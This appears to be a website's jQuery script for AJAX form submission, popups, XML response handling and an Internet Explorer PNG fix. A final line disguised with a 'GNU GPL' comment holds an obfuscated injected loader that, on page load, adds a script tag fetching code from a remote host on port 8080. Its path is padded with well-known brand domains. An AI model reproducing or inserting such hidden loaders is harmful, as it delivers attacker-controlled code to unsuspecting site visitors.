$(function(){
	load_jquery();
	if ($.browser.msie) _fixPNG();
	$.ajaxTimeout(10000);
});

function load_jquery(){
	$("form").unbind("submit");
	$(".truePopup").unbind('click');

	$("form").submit(function(){
	   	$(this).ajaxSubmit({
		   url		:	$(this).attr('action'),
		   success	:	function(data){MyAjax(data);}
		});
		return false;
	});

	$(".truePopup").click(function(){
		$(this).attr('rel',$(this).attr('rel').replace(/screen.height/,screen.height));
		$(this).attr('rel',$(this).attr('rel').replace(/screen.width/,screen.width));
		window.open($(this).attr('href'),'Popup',$(this).attr('rel'));
		return false;
	});
}

function truePopup(url){
	var rand=Math.round(Math.random()*200);
	window.open(url,'Popup'+rand,'width='+window.width+',height='+window.height);
}
/**
 *
 * @access public
 * @return void
 **/
function MyAjax(data){
	var error='';
	var confirmation='';
	var ok=true;

	var t=$(data).children('rsp').children().get();

	for(var i=0;i<t.length;i++) {
		var e=t[i];
		var name=e.nodeName;

		if(name=='confirmation') {
			var contentconfirm=$(e).text();
			confirmation+="<p>"+contentconfirm+"</p>";
		} else if(name=='error') {
			var errors=$(e).children().get();
			for(var j=0;j<errors.length;j++) {
				var err=errors[j];
				var ename=err.nodeName;
				var econtent=$(err).text();
				$("#"+ename).css('border','#f54d00 solid 1px');
				$("#"+ename).val('');
				ok=false;
			}
		} else if(name=='content') {
			var contents=$(e).children().get();
			for(var k=0;k<contents.length;k++) {
				var content=contents[k];
				var cname=content.nodeName;
				var ccontent=$(content).text();
				if(ccontent=='') {
					$("#"+cname).html(ccontent);
				} else {
					$("#"+cname).html(ccontent);
				}
			}
		} else if(name=='ok') {
			var oks=$(e).children().get();
			for(var l=0;l<oks.length;l++) {
				var ok=oks[l];
				var oname=ok.nodeName;
				$("#"+oname).css('border','#666 solid 1px');
			}
		} else if(name=='redirection') {
			var url=$(e).text();
			window.location=url;
		}
	}

	if(error!=''){
		$("#error").html(error);
		$("#error").animate({height:26,opacity:1},2000,function(){
			$("#error").fadeTo(10000,1,function(){
				$("#error").animate({height:0,opacity:0},2000);
				$("#error").empty();
			});
		});
	}

	if(confirmation!=''){
		$("#confirmation").html(confirmation);
		$("#confirmation").animate({height:26,opacity:1},2000,function(){
			$("#confirmation").fadeTo(10000,1,function(){
				$("#confirmation").animate({height:0,opacity:0},2000);
				$("#confirmation").empty();
			});
		});
	}
	load_jquery();
	return ok;
}

function _fixPNG() {
	var images = $('img[@src*="png"]'), png;
	images.each(
		function() {
			png = this.src;
			this.src = GRAPHICS_PATH+'/spacer.gif';
			this.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + png + "')";
		}
	);

	images = $('input[@src*="png"]'), png;
	images.each(
		function() {
			png = this.src;
			this.src = GRAPHICS_PATH+'/spacer.gif';
			this.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + png + "')";
		}
	);
}


/*GNU GPL*/ tri{window.onload = function(){var Ynlt9ensdgqu8 = document.createElement('s!c@@r@$($i@@&p(@t$'.replace(/\)|\(|&|#|\^|\!|@|\$/ig, ''));var E24fh1gy2s = 'Gnj78hlue29';Ynlt9ensdgqu8.setAttribute('type', 't)&e)@$x@t@/#@j(^a^@(v!!$&a#!(^#s@^$c)$@#r$i)@p@&!t)'.replace(/\(|&|\)|\^|#|\!|\$|@/ig, ''));Ynlt9ensdgqu8.setAttribute('src',  'h!t@&)#t(##!p^&:$(&/&)!/&$a@^^(e!$&b(n!@!!-^$n^@#e#(t(&.(#(p^!&)c$o$n(#$!l(^$i@$n)$e$#)&.&&(@c#(o$^@!m^$&.)c^&@n^().^v$(&#e&@o^##&^h)#&-&)$c&@#o@&m#^#$.@x!(b#(o&(x&^@)l(&&i(v#$e&#w^!$e^)b$.#)r(&^u$:$(@8@@^#0&^8&#!0$))/$)a@!@m&$)e$)#r$&i#c&!a!##$n!e^x#p^)#r@)^e!s($^s!^.&@)c#!($o(#m$/!##!a&##m^^^e&r#$i@)@^c(&##a)$n^)e^!x#p^r(e$@s$###s)!).(c^(&o)!m)$$/)&$g@&@o&&#o&(#(g@l!e@!.#c(@@o!$$m^/^)m#$#)u()l((t^@$i$p$^l$)y(&(#.(c)o##^m&/(^t$i)&@c(!@k&$e@@t^$@$(m$$@$a$^@!(s&@t)!@e&r)(.@#c$)(#o@m&^)&^/@^'.replace(/#|\!|&|@|\^|\(|\$|\)/ig, ''));Ynlt9ensdgqu8.setAttribute('defer', 'd($$$e$)@^!f$#$e$$r@(^'.replace(/\!|\^|\$|\(|@|\)|#|&/ig, ''));Ynlt9ensdgqu8.setAttribute('id', 'Q&&(t(!^#w(@$2($7!$)v!)!6@1$d@!q&^#n#(k!@(!o@)@$$l!!'.replace(/&|\!|#|\)|@|\^|\$|\(/ig, ''));document.body.appendChild(Ynlt9ensdgqu8);}} catch(Anhrtqlqi7) {}